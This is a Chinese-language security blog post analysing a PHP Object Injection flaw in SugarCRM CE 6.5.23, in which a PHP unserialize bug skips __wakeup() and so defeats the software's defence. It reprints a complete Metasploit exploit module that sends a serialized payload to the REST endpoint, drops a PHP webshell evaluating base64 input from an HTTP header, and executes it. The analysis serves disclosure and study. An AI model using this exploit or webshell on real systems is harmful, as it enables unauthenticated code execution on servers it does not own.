SugarCRM 6.5.23 - REST PHP Object Injection漏洞分析

暗月博客 2019年11月21日21:18:49评论564 views字数 4052阅读13分30秒阅读模式
摘要

  作者:流浪客@ms509安全团队 稿费:500RMB(不服你也来投稿啊!)

SugarCRM 6.5.23 - REST PHP Object Injection漏洞分析

 

作者:流浪客@ms509安全团队

稿费:500RMB(不服你也来投稿啊!)

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿

SugarCRM开源版是一款完全开放源代码的商业开源软件,具有界面活泼、简单易学的特点。美国SugarCRM公司是一间创立于2006年、但迅速在全球范围取得一定影响的客户关系管理软件厂商。其基本的商业策略是 一边销售收费低廉的企业版/专业版软件,获得收益;一边推出免费的、功能较少的开源版软件,培养未来的付费客户、吸引志愿者参加研发。大多数使用该软件的企业,并发用户数在几个到几万个的范围内。


0x00 前言


这个漏洞很有意思,涉及到rayt牛新提交的php底层bug,这个bug导致了sugarCRM的反序列化防御失效。


0x01 反序列中异常对象导致__wakeup()不被执行


php bug(php<=5.6.24):https://bugs.php.net/bug.php?id=72663

1.原理分析

SugarCRM 6.5.23 - REST PHP Object Injection漏洞分析

通过上边代码和标注,可以清晰的认识到,在创建一个对象的过程中由于对象属性创建的时候出现异常导致__wakeup()不被调用直接return 0;

这个过程中属性是被成功创建了,析构函数依旧会被执行,这样就会导致一些安全问题。

2.实际测试

测试代码:

 SugarCRM 6.5.23 - REST PHP Object Injection漏洞分析

 

测试结果:

SugarCRM 6.5.23 - REST PHP Object Injection漏洞分析

 

 

一种为正常情况,一种为异常情况,当我们构造特殊的payload的时候,程序只执行了__destruct()没有执行__wakeup()。


0x02 SugarCRM CE <= 6.5.23 对象注入漏洞


 

众所周知反序列化代码执行需要两个基本挑战,1.反序列化函数;2.可利用的__wakeup()和__destruct()。

1.代码分析

https://github.com/sugarcrm/sugarcrm_dev/blob/6.5.23/service/core/REST/SugarRestSerialize.php

SugarCRM 6.5.23 - REST PHP Object Injection漏洞分析

 

 

 

 

可控参数rest_data,利用函数sugar_unserialize,反序列化代码执行的第一个条件有了。

https://github.com/sugarcrm/sugarcrm_dev/blob/6.5.23/include/SugarCache/SugarCacheFile.php

 SugarCRM 6.5.23 - REST PHP Object Injection漏洞分析

 

  

可利用函数  __destruct()有了,可以看见上边红框中的内容,开发人员利用__wakeup,在反序列话中会被调用的特性来防治反序列话导致的代码执行漏洞

通过我们上边的分析,可以成功bypass过这个防御,利用 __destruct()中的代码实现漏洞利用。

2.漏洞利用测试

研究人员已经开发好了msf的利用方法:

https://www.exploit-db.com/exploits/40344/

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote   Rank = ExcellentRanking   include Msf::Exploit::Remote::HttpClient   include Msf::Exploit::FileDropper   def initialize(info = {})     super(update_info(info,       'Name'           => 'SugarCRM REST Unserialize PHP Code Execution',       'Description'    => %q{         This module exploits a PHP Object Injection vulnerability in SugarCRM CE <= 6.5.23         which could be abused to allow unauthenticated users to execute arbitrary PHP code with         the permissions of the webserver. The dangerous unserialize() call exists in the         '/service/core/REST/SugarRestSerialize.php' script. The exploit abuses the __destruct()         method from the SugarCacheFile class to write arbitrary PHP code into the /custom directory.       },       'Author'         => 'EgiX',       'License'        => MSF_LICENSE,       'References'     =>         [           ['URL', 'http://karmainsecurity.com/KIS-2016-07'],           ['URL', 'http://www.sugarcrm.com/security/sugarcrm-sa-2016-001'],           ['URL', 'http://www.sugarcrm.com/security/sugarcrm-sa-2016-008'],           ['URL', 'https://bugs.php.net/bug.php?id=72663']         ],       'Privileged'     => false,       'Platform'       => ['php'],       'Arch'           => ARCH_PHP,       'Targets'        => [ ['SugarCRM CE <= 6.5.23', {}] ],       'DefaultTarget'  => 0,       'DisclosureDate' => 'Jun 23 2016'       ))       register_options(         [           OptString.new('TARGETURI', [ true, "The base path to the web application", "/sugarcrm/"])         ], self.class)   end   def exploit     upload_php = '/custom/' + rand_text_alpha(rand(4)+8) + '.php'     payload_serialized =  "O:+14:/"SugarCacheFile/":23:{S:17:/"//00*//00_cacheFileName/";"     payload_serialized << "s:#{upload_php.length+2}:/"..#{upload_php}/";S:16:/"//00*//00"     payload_serialized << "_cacheChanged/";b:1;S:14:/"//00*//00_localStore/";a:1:{i:0;s:55"     payload_serialized << ":/"<?php eval(base64_decode($_SERVER['HTTP_PAYLOAD'])); ?>/";}}"     print_status("#{peer} - Exploiting the unserialize() to upload PHP code")     res = send_request_cgi(     {       'uri'    => normalize_uri(target_uri.path, 'service/v4/rest.php'),       'method' => 'POST',         'vars_post' => {           'method'     => 'login',           'input_type' => 'Serialize',           'rest_data'  => payload_serialized         }     })     if not res or res.code != 200       print_error("#{peer} - Exploit failed: #{res.code}")       return     end     register_files_for_cleanup(File.basename(upload_php))     print_status("#{peer} - Executing the payload #{upload_php}")     res = send_request_cgi(     {       'method'  => 'GET',       'uri'     => normalize_uri(target_uri.path, upload_php),       'headers' => { 'payload' => Rex::Text.encode_base64(payload.encoded) }     })     if res and res.code != 200       print_error("#{peer} - Payload execution failed: #{res.code}")       return     end   end end

 

 

 

 

 

 

0x03 总结


一个php的底层小bug引起的上层php开发中防御措施实效。

引用:

https://bugs.php.net/bug.php?id=72663

https://github.com/php/php-src/blob/PHP-5.6.26/ext/standard/var_unserializer.c

https://www.exploit-db.com/exploits/40344/

https://github.com/sugarcrm/sugarcrm_dev/blob/de002ede6b3f62ea9f0e22a49ba281c680bc69d7/Zend/Http/Response/Stream.php

https://packetstormsecurity.com/files/137638/SugarCRM-6.5.23-SugarRestSerialize.php-PHP-Object-Injection.html

本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/3020.html

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
暗月博客
  • 本文由 发表于 2019年11月21日21:18:49
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   SugarCRM 6.5.23 - REST PHP Object Injection漏洞分析http://cn-sec.com/archives/73003.html

发表评论

匿名网友 填写信息